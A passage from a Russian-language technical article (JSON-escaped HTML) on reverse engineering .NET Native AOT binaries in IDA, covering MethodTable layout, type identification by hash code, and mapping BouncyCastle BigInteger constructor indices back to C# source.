\u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u0432\u044b\u0432\u043e\u0434 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 \u043a\u043e\u043d\u0441\u043e\u043b\u044c:<\/p>\n<pre><code class=\"cs\">Console.WriteLine(\"Hello, World!\"); <\/code><\/pre>\n<p>\u041f\u0440\u0438 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>Console.WriteLine()<\/strong> \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0442\u044c \u0441\u043e\u0431\u043e\u0439 \u0430\u0434\u0440\u0435\u0441 \u043d\u0430 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 <strong>HydratedStruct<\/strong>:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/hp\/jk\/rz\/hpjkrz4jpvdbuv1vug1aj_wc7t4.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0425\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 AOT-\u0441\u0431\u043e\u0440\u043a\u0435\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/hp\/jk\/rz\/hpjkrz4jpvdbuv1vug1aj_wc7t4.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/hp\/jk\/rz\/hpjkrz4jpvdbuv1vug1aj_wc7t4.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0425\u0440\u0430\u043d\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 \u0432 AOT-\u0441\u0431\u043e\u0440\u043a\u0435<\/figcaption><\/div>\n<\/figure>\n<p>\u0412\u0438\u0434\u043d\u043e, \u0447\u0442\u043e <strong>MethodTable<\/strong> \u0432 \u043e\u0442\u043b\u0430\u0434\u0447\u0438\u043a\u0435 \u0431\u0443\u0434\u0435\u0442 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c\u0441\u044f \u043a\u0430\u043a \u0442\u0438\u043f <strong>String<\/strong>:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/ab\/dn\/aj\/abdnajf8l7k3nnyneob1xymc9aw.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b HydratedStruct\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/ab\/dn\/aj\/abdnajf8l7k3nnyneob1xymc9aw.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/ab\/dn\/aj\/abdnajf8l7k3nnyneob1xymc9aw.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b <strong>HydratedStruct<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0442\u0430\u0431\u043b\u0438\u0446\u0443 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432. \u0415\u0441\u043b\u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u044b \u043e\u0442\u043b\u0430\u0434\u043e\u0447\u043d\u044b\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u044b, \u0431\u0443\u0434\u0435\u0442 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0430\u0442\u044c\u0441\u044f \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043c\u044f \u0442\u0438\u043f\u0430, \u043d\u043e \u0438 \u0438\u043c\u0435\u043d\u0430 \u0432\u0441\u0435\u0445 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/e-\/fk\/fm\/e-fkfmv7bjqd1m3dpqo8px2aprs.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0438\u043c\u0451\u043d \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/e-\/fk\/fm\/e-fkfmv7bjqd1m3dpqo8px2aprs.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/e-\/fk\/fm\/e-fkfmv7bjqd1m3dpqo8px2aprs.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u0438\u043c\u0451\u043d \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432<\/figcaption><\/div>\n<\/figure>\n<p>\u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 <strong>MethodTable<\/strong> \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c\u0443 \u043a\u043e\u0434\u0443 <a href=\"https:\/\/github.com\/dotnet\/runtime\/blob\/main\/src\/coreclr\/nativeaot\/Runtime\/inc\/MethodTable.h#L82\" rel=\"noopener noreferrer nofollow\">.NET Native AOT Runtime<\/a>:<\/p>\n<pre><code class=\"cpp\">struct MethodTable {     uint32_t              m_uFlags;     uint32_t              m_uBaseSize;     MethodTable*          m_RelatedType;     uint16_t              m_usNumVtableSlots;     uint16_t              m_usNumInterfaces;     uint32_t              m_uHashCode; }; <\/code><\/pre>\n<p>\u041f\u0440\u0438\u043c\u0435\u043d\u0438\u043c \u044d\u0442\u0443 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u043a \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0443 \u043f\u0430\u043c\u044f\u0442\u0438:<\/p>\n<pre><code>hydrated:00007FF7C2291E18 ??_7String@@6B@ dd 0D0440002h; m_uFlags hydrated:00007FF7C2291E1C dd 16h; m_uBaseSize hydrated:00007FF7C2291E20 dq offset ??_7Object@@6B@; m_RelatedType hydrated:00007FF7C2291E28 dw 3; m_usNumVtableSlots hydrated:00007FF7C2291E2A dw 9; m_usNumInterfaces hydrated:00007FF7C2291E2C dd 0B74F3361h; m_uHashCode <\/code><\/pre>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043e\u0447\u043d\u043e\u0439 \u0447\u0430\u0441\u0442\u0438 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0442\u0440\u0438 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u0430 (\u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0437\u0430\u0434\u0430\u043d\u043e \u0432 <strong>m_usNumVtableSlots<\/strong>):<\/p>\n<pre><code>hydrated:00007FF7C2291E30 dq offset String__ToString hydrated:00007FF7C2291E38 dq offset String__Equals hydrated:00007FF7C2291E40 dq offset String__GetHashCode <\/code><\/pre>\n<p>\u0417\u0430\u0442\u0435\u043c \u2013 \u0434\u0435\u0432\u044f\u0442\u044c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u0432, \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u044b\u0445 \u044d\u0442\u0438\u043c \u0442\u0438\u043f\u043e\u043c (<strong>m_usNumInterfaces<\/strong>):<\/p>\n<pre><code>hydrated:00007FF7C2291E48 dq offset ??_7S_P_CoreLib_System_IComparable@@6B@ hydrated:00007FF7C2291E50 dq offset ??_7S_P_CoreLib_System_Collections_IEnumerable@@6B@ hydrated:00007FF7C2291E58 dq offset ??_7S_P_CoreLib_System_IConvertible@@6B@ hydrated:00007FF7C2291E60 dq offset ??_7S_P_CoreLib_System_Collections_Generic_IEnumerable_1_Char_@@6B@ hydrated:00007FF7C2291E68 dq offset ??_7S_P_CoreLib_System_IComparable_1_String_@@6B@ hydrated:00007FF7C2291E70 dq offset ??_7S_P_CoreLib_System_IEquatable_1_String_@@6B@ hydrated:00007FF7C2291E78 dq offset ??_7S_P_CoreLib_System_ICloneable@@6B@ hydrated:00007FF7C2291E80 dq offset ??_7S_P_CoreLib_System_IParsable_1_String_@@6B@ hydrated:00007FF7C2291E88 dq offset ??_7S_P_CoreLib_System_ISpanParsable_1_String_@@6B@ <\/code><\/pre>\n<p>\u0412 \u043a\u043e\u043d\u0446\u0435 \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438, \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e \u2013 \u0444\u0438\u043d\u0430\u043b\u0438\u0437\u0430\u0442\u043e\u0440 \u0438 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0439:<\/p>\n<pre><code>hydrated:00007FF7C2291E90 dq 9FE140009E4A0h hydrated:00007FF7C2291E98 dq 7FFA80007F978h <\/code><\/pre>\n<p>\u041c\u043e\u0436\u043d\u043e \u043e\u0442\u043c\u0435\u0442\u0438\u0442\u044c, \u0447\u0442\u043e \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0442\u0438\u043f \u0434\u0430\u043d\u043d\u044b\u0445 \u0432\u0441\u0435\u0433\u0434\u0430 \u0438\u043c\u0435\u0435\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 <strong>m_uHashCode<\/strong> (\u043f\u043e \u043a\u0440\u0430\u0439\u043d\u0435\u0439 \u043c\u0435\u0440\u0435 \u0434\u043b\u044f \u0442\u0435\u043a\u0443\u0449\u0438\u0445 \u0432\u0435\u0440\u0441\u0438\u0438 \u0441\u0440\u0435\u0434\u044b **<strong>.Net<\/strong>). \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0434\u043b\u044f \u0442\u0438\u043f\u0430 <strong>String<\/strong> \u043e\u043d\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 <strong>0x0B74F3361<\/strong>. \u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c \u0432 \u0441\u043b\u0443\u0447\u0430\u044f\u0445, \u043a\u043e\u0433\u0434\u0430 \u043d\u0435\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u0442\u043e\u0447\u043d\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0438\u0442\u044c \u0442\u0438\u043f \u043e\u0431\u044a\u0435\u043a\u0442\u0430. \u0412 \u0442\u0430\u043a\u043e\u0439 \u0441\u0438\u0442\u0443\u0430\u0446\u0438\u0438 <strong>m_uHashCode<\/strong> \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u044f \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u044f \u0442\u0438\u043f\u0430 \u043e\u0431\u044a\u0435\u043a\u0442\u0430, \u0434\u0430\u0436\u0435 \u0435\u0441\u043b\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u044c\u043d\u0430\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430, \u0441\u0440\u0430\u0432\u043d\u0438\u0432\u0430\u044f \u0435\u0433\u043e \u0441 \u0431\u0430\u0437\u043e\u0439 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u0445\u044d\u0448\u0435\u0439.<\/p>\n<p>\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440 FLIRT, \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0438\u043c\u0435\u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, <strong>dword_7FF633C4F168<\/strong>) \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u043d\u0435 \u0431\u044b\u043b\u0438, \u043a\u0430\u043a \u0434\u043b\u044f \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u0441\u0430\u043c\u043e\u0439 \u0442\u0430\u0431\u043b\u0438\u0446\u044b, \u0442\u0430\u043a \u0438 \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u044b\u0445 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u0432:<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/kz\/y7\/_k\/kzy7_khb0rslfco_hatdcezlmza.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438\u043c\u0435\u043d \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u044b\u0445 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u0432 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/kz\/y7\/_k\/kzy7_khb0rslfco_hatdcezlmza.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/kz\/y7\/_k\/kzy7_khb0rslfco_hatdcezlmza.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438\u043c\u0435\u043d \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u043c\u044b\u0445 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u0432 \u0432 \u0442\u0430\u0431\u043b\u0438\u0446\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u043c\u0435\u0442\u043e\u0434\u043e\u0432<\/figcaption><\/div>\n<\/figure>\n<p>\u0412\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c FLIRT \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0441\u0448\u0438\u0440\u0438\u0442\u044c \u0438\u043b\u0438 \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d \u0434\u043b\u044f IDA \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 AOT \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u0438\u043c\u0435\u043d\u0430 \u0442\u0430\u0431\u043b\u0438\u0446 \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f <strong>m_uHashCode<\/strong>.<\/p>\n<h4>\u0412\u043e\u0437\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u0435 \u043a \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u044e \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_140107BC0()<\/h4>\n<p>\u041f\u043e\u0441\u043b\u0435 \u043f\u0440\u043e\u0432\u0435\u0434\u0451\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u0448\u0435\u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u043c\u043e\u0436\u043d\u043e \u0441 \u0443\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0442\u044c, \u0447\u0442\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f <strong>unk_14013FC68<\/strong>, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0430\u044f \u0434\u0430\u043d\u043d\u044b\u0435:<\/p>\n<pre><code>463F43CDC15079D91C4AB352F862D545B097C05DC765794A4F5A8BC54828DE86E7D6B7E4657348A9EF3C89711A5F226502E0627B60079931BA7878B6BB4B22A384F20484811BE84E080C73C7E87B4707AD835B1F04236ADED81F4C565839C1C4 <\/code><\/pre>\n<p>\u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043e\u0431\u044a\u0435\u043a\u0442 \u0442\u0438\u043f\u0430 <strong>String<\/strong>. \u0422\u0430\u043a\u043e\u0439 \u043f\u043e\u0434\u0445\u043e\u0434 \u0432 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0433\u043e \u0442\u0438\u043f\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u043e\u0436\u043d\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u0438 \u043d\u0430 \u0434\u0440\u0443\u0433\u0438\u0435 \u0437\u0430\u043f\u0443\u0442\u0430\u043d\u043d\u044b\u0435 \u0443\u0447\u0430\u0441\u0442\u043a\u0438 \u043a\u043e\u0434\u0430.<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/dt\/cf\/zj\/dtcfzj9-ncoslkacqhdyihlceza.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 sub_140107BC0()\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/dt\/cf\/zj\/dtcfzj9-ncoslkacqhdyihlceza.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/dt\/cf\/zj\/dtcfzj9-ncoslkacqhdyihlceza.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u041a\u043e\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>sub_140107BC0()<\/strong><\/figcaption><\/div>\n<\/figure>\n<p>\u0421\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 (\u0441\u0442\u0440\u043e\u043a\u0438: 21, 24, 27, 30, 33) \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0434\u043b\u044f \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 <strong>bigIntQ<\/strong> \u0442\u0438\u043f\u0430 <strong>BigInteger<\/strong> \u043d\u0430 \u043e\u0441\u043d\u043e\u0432\u0435 \u0441\u0442\u0440\u043e\u043a\u0438 <strong>strParamQ<\/strong>, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0435\u0439 \u0448\u0435\u0441\u0442\u043d\u0430\u0434\u0446\u0430\u0442\u0435\u0440\u0438\u0447\u043d\u043e\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0447\u0438\u0441\u043b\u0430:<\/p>\n<pre><code class=\"cpp\">BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_1(bigIntQ, strParamQ, 16); <\/code><\/pre>\n<p>\u0421 \u0446\u0435\u043b\u044c\u044e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442 <strong>__ctor_1<\/strong> \u0438 \u043a\u0430\u043a\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 C# \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c. \u0412\u0441\u043f\u043e\u043c\u043d\u0438\u043c \u043d\u0430\u0448 \u043f\u0440\u0438\u043c\u0435\u0440, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0442\u043e\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 \u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044e \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0442\u0438\u043f\u0430 <strong>BigInteger<\/strong>:<\/p>\n<pre><code class=\"cs\">byte[] byteArray = { 0x01, 0x02, 0x03, 0x04 }; BigInteger bigIntP = new BigInteger(byteArray); <\/code><\/pre>\n<p>\u0414\u0430\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>BigInteger()<\/strong> \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0433\u043e \u0432\u0438\u0434\u0430:<\/p>\n<pre><code class=\"cs\">public BigInteger(byte[] bytes) <\/code><\/pre>\n<p>\u0410 \u0432 \u043f\u0441\u0435\u0432\u0434\u043e\u043a\u043e\u0434\u0435 \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u0435:<\/p>\n<pre><code class=\"cs\">BouncyCastle_Cryptography_Org_BouncyCastle_Math_BigInteger___ctor_2(v1, v0); <\/code><\/pre>\n<p>\u0422\u0443\u0442 \u043f\u0440\u043e\u0433\u043b\u044f\u0434\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442 \u043f\u043e\u0440\u044f\u0434\u043a\u0430 (<strong>N<\/strong>) \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u043c \u043a\u043e\u0434\u0435 <code>\\bc-csharp\\crypto\\src\\math\\BigInteger.cs<\/code> \u0438 \u043e\u0442 \u043f\u043e\u0440\u044f\u0434\u043a\u043e\u0432\u043e\u0433\u043e \u043d\u043e\u043c\u0435\u0440\u0430 \u0432 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 (<strong>__ctor_N<\/strong>):<\/p>\n<figure class=\"\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/webt\/ab\/zj\/it\/abzjit7biz47jzfch7m88kcp_qm.png\" alt=\"alt-\u0442\u0435\u043a\u0441\u0442\" title=\"\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0437\u043e\u043a \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 BigInteger \u0441 \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u043c\u0438\" sizes=\"(max-width: 780px) 100vw, 50vw\" srcset=\"https:\/\/habrastorage.org\/r\/w780\/webt\/ab\/zj\/it\/abzjit7biz47jzfch7m88kcp_qm.png 780w,&#10;       https:\/\/habrastorage.org\/r\/w1560\/webt\/ab\/zj\/it\/abzjit7biz47jzfch7m88kcp_qm.png 781w\" loading=\"lazy\" decode=\"async\"\/><\/p>\n<div><figcaption>\u0421\u043f\u0438\u0441\u043e\u043a \u043f\u0435\u0440\u0435\u0433\u0440\u0443\u0437\u043e\u043a \u043a\u043e\u043d\u0441\u0442\u0440\u0443\u043a\u0442\u043e\u0440\u0430 <strong>BigInteger<\/strong> \u0441 \u0438\u043d\u0434\u0435\u043a\u0441\u0430\u043c\u0438<\/figcaption><\/div>\n<\/figure>\n<p>\u041f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043c \u0434\u0430\u043d\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0432 \u0442\u0435\u043a\u0441\u0442\u0435:<\/p>\n<pre><code>0public BigInteger(string value) 1public BigInteger(string str, int radix) 2public BigInteger(byte[] bytes) 3public BigInteger(byte[] bytes, bool bigEndian) 4public BigInteger(byte[] bytes, int offset, int length) 5public BigInteger(byte[] bytes, int offset, int length, bool b 6public BigInteger(int sign, byte[] bytes) 7public BigInteger(int sign, byte[] bytes, bool bigEndian) 8public BigInteger(int sign, byte[] bytes, int offset, int leng 9public BigInteger(int sign, byte[] bytes, int offset, int leng 10public BigInteger(int sign, ReadOnlySpan&lt;byte&gt; bytes) 11public BigInteger(int sign, ReadOnlySpan&lt;byte&gt; bytes, bool big 12public BigInteger(int sizeInBits, Random random) 13public BigInteger(int bitLength, int certainty, Random random) <\/code><\/pre>\n<p>\u0418\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0434\u0430\u043d\u043d\u043e\u0439 \u043b\u043e\u0433\u0438\u043a\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <strong>BigInteger___ctor_1()<\/strong> \u043d\u0430 \u044f\u0437\u044b\u043a\u0435 C# \u0431\u0443\u0434\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u0435:<\/p>\n<pre><code class=\"cs\">BigInteger bigIntQ = new BigInteger(strParamQ, 16); 